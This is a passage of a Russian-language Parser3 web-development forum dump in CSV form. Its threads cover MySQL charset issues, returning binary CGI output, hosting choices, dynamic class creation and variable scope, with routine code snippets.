MySQL client библиотеку взял с архива \"mysql-5.0.45-linux-i686\" на официальном сайте.\
\
Ядро Linux собрано с:\
[code]\
CONFIG_IA32_EMULATION=y\
CONFIG_IA32_AOUT=m\
[/code]\
\
Как всегда что-то упустил?\
\
P.S. Предполагаю, что может это быть связано с suexec в Apache?..."
"63440","Был не тот Парсер, собранный под 64 битную платформу. Думал, что сделал hard-link на скачанный с parser.ru, а оказывается не сделал."
"63441","причем, любые, а не только Parser-вские. Что пока делать, не знаю. Стоят пока параллельно обе версии Denwer-а (вторую я поставил, т.к. нужно было обновить Parser и MySQL сервер).\
\
Кто сталкивался и есть ли решение?"
"63442","...правда, решение напоминало пляски с бубном...\
поставил новую версию FCKEditor.\
+ полчаса пробовал все, что в голову приходило"
"63443","Я решил делать средствами ImageMagick, однако простенький пример с картинкой бросил сюда: http://www.spearance.ru/parser3/map.zip\
\
Была бы встроенная работа с jpeg... добивал бы здесь :)"
"63444","Решил мой хостер замутить [url=\"http://www.parser.ru/forum/?id=63055\"]upgrade и все полетело[/url]...\
Вообщем, ситуация такая:\
MySQL сервер настроен под KOI (как я понял) Данные я заливаю в win-1251, т.к. локально мне с ними так проще работать.\
\
XSL-шаблоны все в UTF-8:\
<?xml version=\"1.0\" encoding=\"UTF-8\">\
\
Пробовал все:\
[code]\
#$request:charset[windows-1251]\
#$response:charset[windows-1251]\
\
#$request:charset[koi8-r]\
#$response:charset[koi8-r]\
\
#$connect_string_mysql[mysql://manufactory-pp:***@mysql.bhost.ru/test?ClientCharset=windows-1251]\
#$connect_string_mysql[mysql://manufactory-pp:***@mysql.bhost.ru/test?charset=cp1251_koi8]\
$connect_string_mysql[mysql://manufactory-pp:***@mysql.bhost.ru/test?charset=koi8_cp1251][/code]\
\
ничего не помогает. Причем, получаеться забавно: часть перекодируеться, а часть нет:\
http://manufactory.pp.ru/test/\
http://test.manufactory.pp.ru/\
\
Пришлось вывесить \"В разработке\":\
http://www.manufactory.pp.ru/\
\
Менять хостера не хочеться, т.к. неизвестно на какого другого напорешься... но меня уже бъет нервяк."
"63446","Приветствую! Кто нибудь разбирался в этом вопросе? Пока как я понял флекс паботает только с asp java php."
"63447","В отдельном файлике вызываю код:\
[code]@main[]\
$response:body[^file::cgi[скрипт.pl;параметры]][/code]\
\
скрипт должен в поток вернуть картинку jpg, и если запустить его напрямую, то так и происходит, но если из парсера, то выводит нулевую (0х0)картинку.\
\
Пробовал варианты с ^response:clear[] и с установкой параметра $.charset[] - эффект тот же."
"63449","Хотя это было первое о чём я подумал и проверил с exec результат аналогичный."
"63450","а можно увидеть парсерный код, вызывающий и отдающий файл, полностью?\
\
точно .pl скрипт не ориентируется на какие либо переменные окружения, которые вы не передаёте ему при вызове парсером?\
\
до кучи можно попробовать .save полученный файл и посмотреть что в нём."
"63451","Парсер:\
[code]@main[]\
$response:body[^file::cgi[/../cgi-bin/drawpoly.pl;\
			$.CGI_SOURCE_PATH[${env:DOCUMENT_ROOT}]\
			$.CGI_IMAGE_NAME[1.jpg]\
			$.CGI_POINTS[251,451 198,552 125,481|123,346 142,273 224,311|137,159 298,99 283,218|511,102 690,107 536,211|569,304 678,253 637,374|655,450 528,541 527,406]\
			$.CGI_STATUS[1,1,1,0,1,1]\
			$.CGI_QUALITY(80)\
		]\
][/code]\
\
Перл:\
[code]#!/usr/bin/perl\
\
use strict;\
use Image::Magick;\
\
my $src_path = $ENV{'CGI_SOURCE_PATH'};\
my $points = $ENV{'CGI_POINTS'};\
my $status = $ENV{'CGI_STATUS'};\
my $jpg_quality = $ENV{'CGI_QUALITY'}|| 75;\
my $in_img = $ENV{'CGI_IMAGE_NAME'};\
$in_img =~ s/\\.\\.//g;\
$in_img =~ s/[^\\d\\w\\_\\-\\.]//g;\
\
print \"Content-type: image/jpeg\\n\\n\";\
\
die (\"File $in_img not found.\\n\") if(!(-f \"$src_path/$in_img\"));\
\
my($q, $x);\
$q = Image::Magick->new;\
\
$x = $q->Read(\"$src_path/$in_img\");\
die (\"$x\\n\") if $x;\
\
my ($x_size, $y_size) = $q->Get('width', 'height');\
\
die (\"Image $in_img size error.\\n\") if (($x_size == 0) || ($y_size == 0));\
\
my @flatStatus = split(/,/, $status);\
my @flatPoly = split(/\\|/,$points);\
\
for(my $i = 0; $i <= $#flatStatus; ++$i){\
    $q->Draw(fill => '#00000077', primitive => 'polygon', points => $flatPoly[$i]) if($flatStatus[$i] == 1);\
}\
\
$q->Set(quality => $jpg_quality) if ($in_img =~ /^.*\\.(jp(?=[eg])e?g?|png)$/i);\
$q->Set(compression => 'LZW') if ($in_img =~ /^.*\\.(gif)$/i);\
\
binmode STDOUT;\
$q->Write('jpg:-');[/code]\
\
Админы дали наводку что возможно Парсер перекодирует результат в кодировку сайта, т.е. из koi8 в win. Именно поэтому я сначала попробовал дропать заголовки ^response:clear[] не помогло, потом я пробовал передать с параметром $.charset[] результат нулевой."
"63453","для начала:\
http://www.parser.ru/forum/?id=27976\
т.е. судя по контексту этого сообщения и ответам, всё должно работать.\
\
мне .pl не очень нравится вот этим:\
[code]\
print \"Content-type: image/jpeg\\n\\n\";\
...\
binmode STDOUT;\
[/code]\
\
есть предложение сделать так, чтобы pl возвращал binary поток без http заголовков, а всё остальное сделает парсер.\
\
charset тут точно не причем, т.к. при вызове .cgi вы не указываете его, сл-но парсер считает что внешние данные в той-же кодировке и не перекодирует их. а http заголовок с charset для octet-stream парсер не выставляет."
"63454","Всё это попробовал, огребаю вот такую ошибку в логах сервера:\
CORD_cat_char_star(,y,) y==\"\"\
\
Тут же лезу в поиск, нахожу, вот это http://www.parser.ru/forum/?id=45635 , но меня такая постановка вопроса не устраивает, точнее я считаю её не логичной.\
\
Как быть?\
\
P.S. Кстати осмелюсь прокоментировать одну строку из доки:\
[quote]Пример замены всего тела на результат работы скрипта:\
$response:body[^file::cgi[script.cgi]][/quote]\
\
Разве не то же я хочу получить?"
"63455","[quot]\
Тут же лезу в поиск, нахожу, вот это http://www.parser.ru/forum/?id=45635 , но меня такая постановка вопроса не устраивает, точнее я считаю её не логичной.\
[/quot]\
\
ссылка, приведённая мной ранее, приводит туда-же, куда ссылка из этого-же треда.\
\
\
[quot]\
Как быть?\
[/quot]\
\
я предлагал вариант. видимо не устраивает. у меня других вариантов нет.\
\
\
[quot]\
Разве не то же я хочу получить?\
[/quot]\
\
в общем случае это не одно и тоже."
"63456","вариант меня устраивает, он не устраивает Парсер."
"63457","результат file::exec может быть только текстовым. выход -- только через временный файл."
"63458","На самом деле есть ещё один вариант, делать весь разбор параметров Перлом и изначально ссылаться именно на перл скрипт, а не на парсер, но мне этот вариант ещё больше не нравится.\
\
Реализация вывода бинарных данных, по моему мнению, МАСТ ХЭВ в новой версии парсера :)"
"63459","Желаю идей и терпения.\
\
PS. Невовремя — переезжал."
"63460","т.к. я узнал об этой проблеме сегодня, а 3.2.2 уже в стадии подготовки к релизу, т.е. ничего нового не добавляю, а лишь правлю баги в последних нововведениях."
"63462","[code]\
  ^file::load[binary;http://domain.ru/cgi-bin/script.cgi;...]\
[/code]\
\
Я уже не говорю, что соответствующий УРЛ можно просто браузеру выдать, а не грузить Перл - пусть клиент сам запрашивает все, что нужно мимо Парсера."
"63463","ИМХО надо подумать над тем, чтобы поднять багтрекер, потому что этому багу уже больше трёх лет, темы поднимались неоднократно, даже присылались патчики, а в итоге о проблеме узнаЮт только сегодня..."
"63464","можете повторно выслать патч мне?\
\
UPDATE: высылать патч повторно не надо, я его нашел. думаю над внедрением, т.к. он подразумевает изменение синтаксиса с:\
[code]\
^file::exec[$script;$params]\
[/code]\
на\
[code]\
^file::exec[text|binary;$script;$params]\
[/code]\
\
понимаю, что это делается простейшей глобальной заменой, тем не менее...\
\
UPDATE 2: пробую к патчу приделать обратную совместимость: если первый параметр 'text' или 'binary' -- считаем его модификатором и имя файла берем из второго параметра, иначе -- всё как раньше (считаем что mode=text)."
"63466","Знаю, что тема уже несколько раз поднималась, но внятного ответа (компиляция из исходников с отладкой не подходит) не было.\
Итак, isapi под IIS6 не работает. \
Похоже, что он не может прочесть или не читает auto.p, лежащий с ним в одном каталоге (в форуме уже проскакивал подобный случай)\
Если использовать cgi, то все работает нормально, но все-таки хотелось бы isapi. Скажите, у кого нибудь isapi parser 3.2.1_ru на IIS6 работает? К слову, на 5-м IIS isapi тоже не запустился.\
 \
Шапка из _test.html (в кодировке utf-8)\
$CHARSETS:\
Не определен хеш с кодовыми таблицами ($CHARSETS). \
Возможно у вас не обрабатывается конфигурационный auto.p (тот что по умолчанию должен находится рядом с исполняемым файлом). \
Чтобы убедиться в том, что он обрабатывается, добавьте инструкцию ^throw[;check auto.p execution] в его метод @auto[] и перезагрузите страницу. Появление ошибки после её перезагрузки будет свидетельствовать о том, что он обрабатыватся. \
$SQL:\
Не определена таблица с драйверами ($SQL.drivers) \
Возможно у вас не обрабатывается конфигурационный auto.p \
: не определен\
: D:/wwwroot/default\
: UTF-8\
: UTF-8\
: /_test.html\
: \
: \
: не определена\
:"
"63467","Нужен совет по выбору хостинга для Parser\
Добрый день.\
Большого опыта в работе с хостинг-компаниями у меня нет, т.к. пока работал только на институтском сервере (FreeBSD). Однако, со сменой администратора (теперь у нас работает какая-то студентка) начали возникать проблемы: то одно не работает, то другое. При этом, девочка в основном разводит руками, дескать, не знает что делать.\
\
Общем, нужно найти площадку для размещения. При этом, достаточно оперативно, т.к. к концу месяца нужно уже размещать два сайта.\
\
Просмотрел http://www.hostobzor.ru/opinion/ и http://www.parser.ru/hosters/ и пока есть вопросы по:\
\
[url=\"ruweb.net\"]http://www.ruweb.net[/url]ruweb.net\
что пишут:\
[quote]Трафик довольно дорогой и в случае превышения трафика сайт отключают.\
Дауны, редко но метко. Иногда проблемы с Mysql базами -кто-то вешает.\
Всякие непридвиденные обстоятельства, в виде неожиданно заблокированных доменов и бзыков вышестоящей хост-конторы.\
\
Низкая защищенность. В случае, если вам необходимо, чтобы на вашем вирт. сервере какая-то информация записывалась в файлы (например, данные пользователей или отзывы в гостевой) - выберите другой вариант хостинга или рассмотрите вариант приложения с записью в MySQL. Дело в том, что любой пользователь хостинга, получив авторизацию на сервере, имеет возможность проникновения в файлы с правами записи (777). Вместе с тем, в условиях акции \"...месяц бесплатно...\" кто угодно может получить авторизации на сервере (по поддельным даным число таких месяцев неограничено), и никакие санкции к нему не могут быть пременены (деньги он может и не платить).\
Этот пункт очень важен: один из моих проектов я перенес на другой сервер, т.к. без прав 777 он не мог работать и его взламывали не один раз (вместо проекта вывешивалась надпись \"Изуродовано\" с портретом Дж.Буша).[/quote]\
\
[url=\"http://multihost.ru\"]multihost.ru[/url]multihost.ru\
отзывов не нашел (только один, с руганью на тех-поддержку)\
\
[url=\"http://1gb.ru\"]1gb.ru[/url]1gb.ru\
Написал письмо в тех-поддержку и получил следующий ответ:\
[quote]\
На виртуальном хостинге лучше Парсеров вообще не пользоваться, если честно. Проблема в его малой эффективности (не подходит для больших проектов) и плохой предсказуемости (например, иногда взрывообразное потребление сотен мегабайт памяти при неаккуратном программировании - нет ограничений - и так далее).[/quote]\
Неужели, возникают такие проблемы? Кто-нибудь у них хоститься?\
\
Другие варианты пока не рассматривал.\
\
Вообщем, нужен объективный совет. Да, если это возможно, узнать, есть ли какие-то общие проблемы с настройкой Parser и какие-нить подводные камни?\
\
Заранее, спасибо"
"63470","freebsd 4, linux -- ok"
"63474","Рувеб хороший хостинг, я на нём провисел года три. Площадка в корбине во всяком случае нормальная.\
Но у них платный траффик, так что для больший проектов не подходит никак."
"63475","У меня несколько сайтов есть у мультихоста.\
У них бывает некоторый бардак с биллингом (похоже там завелась блондинка на ресепшене).\
Но в целом хостинг довольно быстрый, парсер там работает хорошо, так что где-то за год техподдержка вообще не понадобилась.\
http://inkware.ru/ к примеру у них висит, работает на парсере."
"63476","Есть ли там тонкости по настройки Parser?\
\
В какой кодировке лучше хранить данные в базе? Мне они сказали, что пользоваться для заливки данных в базу можно только через веб-интерфейс. Что есще есть из сложностей?"
"63477","Что-то в сети их больно ругают за устойчивость. Я на своих сайтах в последнее время прокручиваю e-mail отчет по багам. И теперь, то что мне рагьше казалось устойчивым, заставляет задумываться (на одном сервере у знакомых база бывала недоступна по 5-10 раз в день)."
"63478","Что, помимо:\
[quote]Примечание: При использовании Parser если вам необходимо полностью исключить заголовки от модуля Apache mod_expires, то для этого необходимо в директории с parser3.cgi создать файл .htaccess и внести в него следующую директиву:ExpiresActive off[/quote] (http://masterhost.ru/support/doc/apache/) у них есть из особенностей (кодировка в базе, пути к файлам, наличие Imagemagik, NConver)?"
"63480","Я использую Парсер на sweb и masterhost. И там и тут работает нормально. Больше нравится мастерхост, т.к. у sweb были проблемы с аптаймом какое-то время назад (сейчас всё хорошо). НО! У sweb лучше с поддержкой (есть техподдержка в аське, они могут подсказать что-то по мелочам, а в мастерхосте нужно делать запросы какие-то...). И больше разрешено пользователю. Например, на мастерхосте нельзя скрипт запускать по расписанию чаще, чем раз в час. На мастерхосте нет mc, top, uptime. Нельзя в php выполнить system. На sweb это всё можно. И подсветка в консоли работает. Удобно.\
\
Про мастерхост: nconvert нет, но заводится без проблем. С путями проблем не было в обычной сборке Парсера. Imagemagik тоже где-то есть (см. доки). База MySQL5, так что с кодировками тоже нормально (можно win, koi и utf)."
"63483","У меня там всё работает без обработки напильником. \
БД насколько я вижу у них лежит в utf8, а сайты у меня все в win1251 - никаких проблем или дополнительных настроек.\
Веб интерфейс - это cPanel и phpMyAdmin. Хотя если надо - то из cgi-скрипта можно пользоваться mysqldump'ом и иже с ним.. :)\
[code]\
#!/bin/sh\
echo Content-type: text/plain\
mysqldump --user=db --password=pwd dbName > dbName.sql\
[/code]"
"63484","Больше года все работало идеально - поддержка супер, цены доступные. Но недавно они отшили один из проектов, аргументируя тем, что сайт перегружает хост.\
[quote]Дело в том, что ваш сайт написан на Парсере, и очень посещяем.[/quote]\
Причем там же хостятся еще 4 проекта - с ними никаких проблем нет. Так что я серьезно задумался о компетентности 1ГБ."
"63486","А сделать это проще Вам."
"63488","Немногим сайтам требуется более гигабайта трафика.\
\
DirectAdmin'ом пользоваться очень приятно, очень удобен тарифный калькулятор."
"63489","Отзыв про ruweb, что называется, \"made my day\".\
\
Человек винит хостера в собственной криворукости..."
"63490","net.ru и ruweb.net (примерно по году) -- ни там ни там проблем у меня не возникало. парсеры работали стандартные (я тогде собирать их и не умел вовсе). но проекты там были маленькие.\
\
насколько понимаю ситуация я:\
- с mysql 4.1 и выше можно забыть про проблему с кодировками у парсера\
\
- если используется x64 то могут быть проблемы при использовании парсера (например не положены куда принято библиотеки совместимости). если сам парсер заводится, то клиентскую sql библиотеку в подавляющем большинстве случаев можно найти и поставить самостоятельно.\
\
- хостеры вообще не любят то, чего они не знают. т.к. проблемы возникают со всем устанавливаемым софтом, и пользователи идут в их поддержку, а чтобы адекватно ответить -- надо разбираться в вопросе. проще послать, особенно учитывая то, что таких клиентов не много, и особой погоды они не делают.\
\
- хостеры _очень_ не любят рессурсоёмкие приложения. и вопрос даже не в языке, на каком приложение написано. не раз встречал запреты использования phpnuke и т.п. причина понятна: на сервере работает кучка виртуальных серверов, и им совсем не в кайф, когда из-за одного рессурсоёмкого приложения им сыпется куча жалоб о недоступности других виртуальных серверов. парсер тут и \"причем\" и \"не причём\". \"причём\": теоретически он больше работы делает без каких-бы то ни было просьб сделать её (декодирование форм и т.д.), отсюда минимальный код '2+2' на нём и например на php будет не в пользу парсера в смысле загрузки CPU и использования памяти (чтобы делать работу надо и то и то). но как правило в большом проекте используется большинство того, что парсер делает автоматически, сл-но много работы в холостую он не делает, т.е. разница сокращается. практически качество кода сравнить увы невозможно, открывая исходники мы надеялись, что больше народу будет участвовать в его усовершенствовании/оптимизации, чего не последовало, т.е. велика вероятность что в коде больше неоптимальностей. \"не причем\": считаю парсер более доступным для непрофессионалов. в этом его \"беда\", из-за которой он считается негодным для больших проектов. начинающие пишут очень неоптимальный код, который тормозит и жрёт память. оптимизацией не занимаются, кеширование не используют (хотя это просто), а хостеры оценивают \"тормозящий сайт\", они не оченивают отдельно язык и отдельно код, поэтому им проще посылать всех с парсером и/или не рекомендовать его для больших/посещаемых проектов. в любом случае: большой и посещаемый проект на любом языке нельзя делать так-же как и маленький. там изначально надо учитывать то, что сайт должен работать под большой нагрузкой. и язык тут тоже не причем. по поводу упомянутого 1gb \"отсутствия ограничений\" (я понимаю про cpu/memory): мы не видим смысла встраивать в язык ограничения, когда они прекрасно делаются средствами ОС (unix, про win32 я не в курсе).\
\
- в общем про чтение отзывов о хостерах: не бывает хостеров без плохих отзывов. чем больше хостер работает -- тем больше плохих отзывов. обычно если кто-то остался недоволен, то он об этом раструбит, даже если не прав был он сам (в том числе в данном форуме). если 10 человек остались довольны -- то хорошо если один про это напишет. так что смотреть надо, как мне кажется, на то чтобы не было _очень большого_ количества жалоб на единицу времени. ну и до кучи: я бы не стал выбирать в качестве хостинга тех, кто только-только появился, несмотря на большие обещания и низкие цены."
"63491","Я в курсе :)\
Замечательно ограничиваются виндовыми средствами. ключевое слово - WSRM."
"63492","хотя... может там такие же как и я, которые не в курсе? %-)"
"63493","Возможно, я что-то не так делаю или что-то не так понимаю...\
Но:\
- хочется создать объект класса\
- имя класса определяется на стадии выполнения кода (лежит в БД)\
- передать конструктору некоторые параметры (хэш)\
\
Как это можно сделать?\
\
Пытаюсь делать так:\
[code]$object[^process{^^$className::init[^$param]}][/code]и внутри класса получаю $param !def == true\
Приходится делать так:\
[code]$object[^process{^^${param.template}::init[]}]\
^object.init_with_param[$param] ^rem{ настоящий конструктор }[/code]\
Скажите, это полное извращение?\
Поиском по форуму нашел что-то про [i]динамическое связывание[/i] и [i][url=\"http://www.parser.ru/forum/?id=20720\"]фабрику объектов[/url][/i]... Но почти ничего не понял :-("
"63494","По крайней мере файловый менеджер видно сразу, а в DA маленькая ссылочка..."
"63495","[quote]с mysql 4.1 и выше можно забыть про проблему с кодировками у парсера[/quote]\
А я вот уже неделю бьюсь с кодировками. Правда, заливаю данные посредством MySQL Front, однако, раньше проблем не было."
"63496","проблему создать себе можно всегда.\
\
но чтобы её не создавать, по моему достаточно прочитать доку по sql серверу в плане кодировок, выкинуть бубен, забыть про метод тупого перебора инструкций указания кодировок вегде, где только можно, решить в какой кодировке храним данные, а в какой работаем, и сделать как задумано.\
\
P.S. в примерах статья про кодировки была написана ещё в 2002 году, немного подправлена для 4.1+ была позже. по моему прошло достаточно времени чтобы прочитать и _понять_ этот несложный предмет. ну не понимаю я, что сложного в принятии в качестве кодировки хранения utf8, [b]создании в ней БД/таблиц[/b] и загрузки данных, с предварительным добавлением в его начало необходимого set names/set character set.\
\
P.P.S. в данном треде это off-topic, закругляемся."
"63497","по теме, думается мне что process вы исполняете не в контексте $param или он у вас определен локально.\
\
во вторых объекты можно создавать и так:\
http://www.parser.ru/forum/?id=62814\
\
Про извращение, ничего не скажу - имхо на любителя."
"63499","Спасибо всем, что поделились.\
Попробую подытожить:\
\
[b]NET.ru[/b]\
• Parser нужно настраивать самому. \
• Заливать данные можно либо через shell либо через web-интерфейс.\
• Есть (по ответу службы поддержки) проблемы с ImageMagick. Nconvert нет.\
• Тестовый аккаунт обещают на неделю\
• Оплата через Сбер.\
\
[b]Aarbatek.ru (бывший 350mb.ru)[/b]:\
• Parser предустановлен\
• Объединяються с РБК\
• В тех поддержку пока не обращался, подробностей не знаю.\
\
[b]ruweb.net[/b]\
• Parser нужно настраивать самому. \
• Проблемы при превышении трафика\
• Достаточно дешево + Гибкие тарифные планы\
• Много вариантов оплаты\
• Дают месяц на проверку\
\
[b]1gb.ru[/b]\
• Parser предустановлен\
• Дороговато, но, по слухам, надежно\
• Быстрая служба поддержки (отвечали на вопросы по почте в течении 10-20 минут).\
• Не очень любят Parsr *-)\
\
[b]multihost.ru[/b]\
• Странная контора, по слухам, проект Arbatek\
• ImageMagick, nconvert есть\
• Parser есть, но непонятно, предустановлен-ли? osatuk вроде хвалит ег\
• Достоточно дешевые тарифы\
\
[b]Maserthost.ru[/b]\
• Серьезные клиенты хостяться\
• Проблем серьезных не отмечают\
\
Вообщем, попробую завести несколько тестовых акаунтов, чтобы посмотреть, что к чему. Спасибо всем."
"63500","[code]$objMethod[^process{^^${selMethod.lib}::init[^${hashData}]}][/code]"
"63501","Не работает... Почему-то...\
А строку так передает нормально. Странно.\
Точно тот же hash, переданный моим извращенным методом, нормально работает."
"63502","Да уж, магия...\
Спасибо, попробую."
"63504","Приведу кусок кода сбощика модулей:\
\
Выбираем модуль из базы данный по его имени (для проверки)\
[code]\
$selMethod[^MAIN:pSQL.table{\
	SELECT *\
	FROM\
		components\
	WHERE\
		name=\"$method\"\
}]\
[/code]\
\
если метод найден в базе...\
[code]\
^if($selMethod){\
	^rem{подключаем файл класса метода}\
	^use[${selMethod.lib}.p]\
\
$hashData[\
	$.auth[$auth]\
	$.lang[$curLang]\
...\
]\
$objMethod[^process{^^${selMethod.lib}::init[^${hashData}]}]\
\
^rem{динамически вызываем метод по имени}\
^objMethod.[$method][$m_data]\
[/code]\
\
У меня в базе хранятся названия методов, которые используются на страницах и имена классов, в которых они находятся. Я динамически создаю класс по названию из базы и динамически-же вызываю метод.\
\
Все работает без сбоев."
"63505","т.е. текст кода указанный внутри process, при компиляции/выполнении ничего не сможет сделать с переменными метода, откуда вы его вызываете.\
\
=> он увидит вашу переменную $params если она будет не локальной переменной метода, а переменной класса/объекта (в случае, если process вызывается из MAIN -- переменная должна быть глобальной)"
"63506","может ваш вариант сделать так?\
\
хэш для классов можно вынести в отдельный класс (меня лично в большинстве случаев напрягает MAIN в коде)\
да и смотрится, имхо, почище -> понятнее\
\
[code]# где нибудь в корневом auto.p\
@auto\
^use[factory.p]\
[/code]\
\
[code]factory.p\
\
@CLASS\
factory\
\
@auto[]\
$hClasses[^hash::create[]]\
\
@create[sClassName;hParams]\
^use[${sClassName}.p] ^rem{имя класса  =  имени файла}\
$result[^self.hClasses.$sClassName.factoryCreate[$hParams]]\
[/code]\
\
наш класс myClass.p\
[code]@CLASS\
myClass\
\
@USE\
factory.p\
\
@auto[]\
$factory:hClasses.myClass[$self.CLASS]\
\
@factoryCreate[h][result]\
$result[^myClass::new[$h]]\
\
# дальше конструктор и все прочие прелести\
@new[h]\
...\
\
@imMegaMethod[]\
Go!\
[/code]\
\
где то \
\
[code]@main[]\
# откуда то пришло имя класса\
$sImClassName[myClass]\
# и.. магия-2\
$oImClass[^factory::create[$sImClassName;$hParams]]\
^oImClass.imMegaMethod[][/code]"
"63507","Не совсем понимаю, в чем тогда смысл передавать переменную в качестве параметра. Если она глобальная, то и так будет доступна. (или нет?)\
\
То, что глобальная переменная $params доступна из созданного класса - это я заметил. От этого как раз и хотелось уйти (от передачи параметров через глобальные переменные)."
"63508","P.S. у парсера нет \"вообще глобальных\" переменных. есть переменная класса. передават одну переменную класса другому классу смысл есть: хотя бы для того, чтобы из одного метода не лазить в другой."
"63509","и написал, подумав."
"63510","в общем виде пока не публиковали в примеры. возможно, и дойдут руки, если никто раньше не пришлёт."
"63511","=нет срочной необходимости это чинить.\
будут, будем чинить.\
если раньше кто-нибудь не сделает.\
\
интересно, про язык такой, C++, вообще в стране никто ничего не слышал?"
"63512","я просто написал код с таким смыслом:\
передать локальную переменную моего метода экземпляру класса, созданному в этом методе. А оказалось, что это в Парсере смысла не имеет. Вот и запутался.\
\
PS\
отвык от Парсера. год уже всё на C++ да на php5..."
"63513","ну вообще лично у меня никогда не возникало прецедентов с именем класса, описанных выше.\
\
Но что-то подобное я использую в неком подобии ORM системы на парсере.\
\
[code]\
класс объекта\
...\
@GET_typeName[]\
$result[User]\
\
@GET_mapper[]\
$result[^Mapper:create[$self._hMapperParams]]\
...\
\
класс маппера\
@create[h]\
^if(!def $self._hMapper.[$caller.typeName]){\
	$h.object[$caller.CLASS]\
	$self._hMapper.[$caller.typeName][^Mapper::new[$h]]\
}\
$result[$self._hMapper.[$caller.typeName]]\
...\
@getMappingObject[h][result]\
^if(!def $self.map.[$h.id]){\
	$self.map.[$h.id][^self.hParams.object.create[$h]]\
}\
$result[$self.map.[$h.id]]\
...\
[/code]\
\
Работа маппера заключена в частности и в возвращении из базы объектов определенного типа и таким образом созданный маппер сразу получает информацию о классе возвращаемых объектов, не зная имени этого класса.\
\
А фабрика мне никогда и не нужна была собссно :) Но конкретно ваше предложение вполне к месту."
"63514","Нет, мы в целом в курсе,\
\
просто не совсем понятно, сколько ставить. Стояло иногда 300 мб. Скрипт сидит, сидит, сидит, потом бах - 300 - капут.\
Если несколько таких - они создают ощутимый прессинг на систему памяти сервера.\
Ставишь 64 - не влезало у некоторых.\
\
Сейчас это нам не актуально уже ни в каком виде. На сервере 16 Гб и ладно.\
Раньше было актуально.\
\
А про agat-а - там всё просто: у него Парсером генерировалась страница несколько раз в секунду. В CGI режиме.\
Вот вы говорите, зачем делать контроль памяти - а затем, чтобы его можно было не в CGI режиме гонять. Т.к. в CGI утечки и взбрыки не страшны.\
Однако не сделано. Поэтому CGI.\
И так вот, CGI этот с таким кол-вом запросов в секунду применительно к написанным скриптам (сложный портал) жрал ресурсов столько, что это не лезло ни в какие рамки. Поэтому аккаунт был со временем остановлен, когда это стало важно (раньше этот сервер просто простаивал, сейчас нет).\
\
Вы очень правильно написали - на Парсере часто пишут ужасные вещи, делают это гораздо чаще, чем на PHP, и это просто достоверная статистика (у нас есть где-то под сотню сайтов на нем на хостинге).\
А то, надо или не надо в нем разбираться - вопрос минорный, зачем вообще надо в нем разбираться, это веб-мастера работают. А в конфигах его с вашей подачи и я уже немного понимаю ;)\
\
Судьба у него сложная одним словом. На CGI вы не уведете с большим проектом в любом случае. Т.е на своём сервере это совершенно всё равно, а на общем - далеко нет.\
А к работе в режиме модуля он идеологически совсем не готов."
"63515","Одним словом, могу просто и ясно резюмировать:\
\
Если вы пришли создать сайт с посещаемостью до 1 - 2 - 4 тыс генераций страниц в день - пожалуйста.\
Будет работать отлично как у нас на хостинге, как говорил agat, и горя не будет, так и где угодно еще. Т.е. домашняя страничка например, или эксперимент дизайнерский. А больше - извините. Я поэтому честно и говорю это всем последнее время.\
\
Если домашняя страница и человек при этом умеет хотя бы не делать вечные циклы со взрывом памяти (что умели всего лишь 9 из 10 клиентов из нашей статистики) - право, что искать. Выбирайте хостинг безотносительно Парсера, лишь бы вообще работал.\
\
Если нет - если там проект или портал - надо найти хостинг, где Парсер работает в режиме модуля в prefork Apache-е. Иначе ни в одни лимиты ни одного виртуального хостинга вы не уложитесь."
"63516","т.е. то что Александр сказал можно продемонстрировать на гораздо более понятном примере:\
\
[code]@main[]\
$iTest(1)\
^getNext($iTest)\
\
@getNext[i]\
^i.inc[] <-- вот здесь вычислилось скопировалось во временную переменную и там и отинкрементировалось\
$i       <-- а вот здесь оно вычислилось еще раз заново!!! и отдалось (в исходном вопросе попало в $result)\
[/code]\
Результат 1, а не 2, как по идее хотелось бы.... если в метод передать не $iTest а 1, т.е. константу, а не выражение - то все ОК\
\
имхо, это клиника...., а не шероховатость :))\
без бутылки точно не разберешься, раз уж даже после Ваших, Александр, объяснений просветления сразу не наступило\
\
особо красивый клинический случай:\
[code]@main[]\
$iTest(1)\
^getNext($iTest)\
\
@getNext[i]\
$result(^i.inc[])\
[/code]\
\
Результат - 0, этакий обнулятор с использованием инкремента."
"63517","Однако давно уже жалоб от клиентов не поступало."
"63518","я продолжаю не втыкать: почему на шаге $result($i), когда оно, как утверждается \"вычислилось еще раз заново [b]и отдалось[/b]\" (то, что вычислилось ещё раз мне понятно), на самом деле в том месте, куда оно отдалось ($MAIN:$iTest), оно не изменилось."
"63519","[quot]\
А оказалось, что это в Парсере смысла не имеет.\
[/quot]\
\
не понимаю, что это у вас означает.\
\
вот подумайте, как \"контекстом выполнения кода\" может быть \"метод с его локальными переменными\", если в коде мы можем создавать новые методы. т.е. ваше использование process -- это частный случай, когда весь написанный вами код есть суть \"один неименованный метод\", что-то типа main.\
\
причем лично я вообще подобный подход не использую, с помощью process я лишь \"вкомпиливаю\" в объект/класс методы, а вызываю их потом, явно.\
\
причины, по которым невозможно просто создать объект класса, имя которого лежит в переменной, ПАФ уже объяснял."
"63520","что скажете на счет Slavhost.ru, есть ли у него поддержка Parser?"
"63521","parser ставится за 2 минуты.\
\
+ суппорт на 5 (как по мылу, так и по телефону - очереди практически нет)\
+ цена соответствует качеству.\
\
Собсно вспомним старую английскую пословицу - \"мы не слишком богаты, чтобы покупать дешёвые вещи\"."
"63524","Работает --help, а также сообщения об ошибке аргументов.\
Никакие другие параметры не отрабатываются.\
\
[code]$data[^file::exec[../../../../usr/local/bin/wget;;--output-file=output.txt;http://www.yandex.ru]]\
$data.text[/code]\
\
И тишина...\
\
В чем может быть дело?\
Спасибо."
"63526","../../../../usr/local/bin/wget -- отстой, imho.\
мне кажется лучше положить wrapper (wget.sh) где-нить недалеко и вызывать его (например мы держим скрипты в каталожке exec, рамположенной вне веб пространства и звали бы так: ^file::exec[/../exec/wget.sh;...]), а в нём:\
\
[code]\
#!/bin/sh\
\
/usr/local/bin/wget $1 $2\
[/code]"
"63528","[code]$data[^file::exec[../../../../usr/local/bin/wget;;--output-file=output.txt;http://www.yandex.ru]]\
<div>$data.text</div>\
<div>$data.status</div>\
<div>$data.stderr</div>\
<div>$data.stdout</div>[/code]\
\
и посмотрите/покажите[если не понятно] результат"
"63529","к слову, в BP(Delphi) так есть :)\
[code]\
procedure proc;\
var\
    proc_var as integer;\
\
    procedure sub;\
    begin\
        proc_var := 1;\
    end;\
\
begin\
   sub;\
end;\
[/code]"
"63530","[code]\
@main[]\
^method(сложное выражение, которое можно вычислять несколько раз внутри метода)\
\
@method[complexExpressionObjectInstance]\
#вот это:\
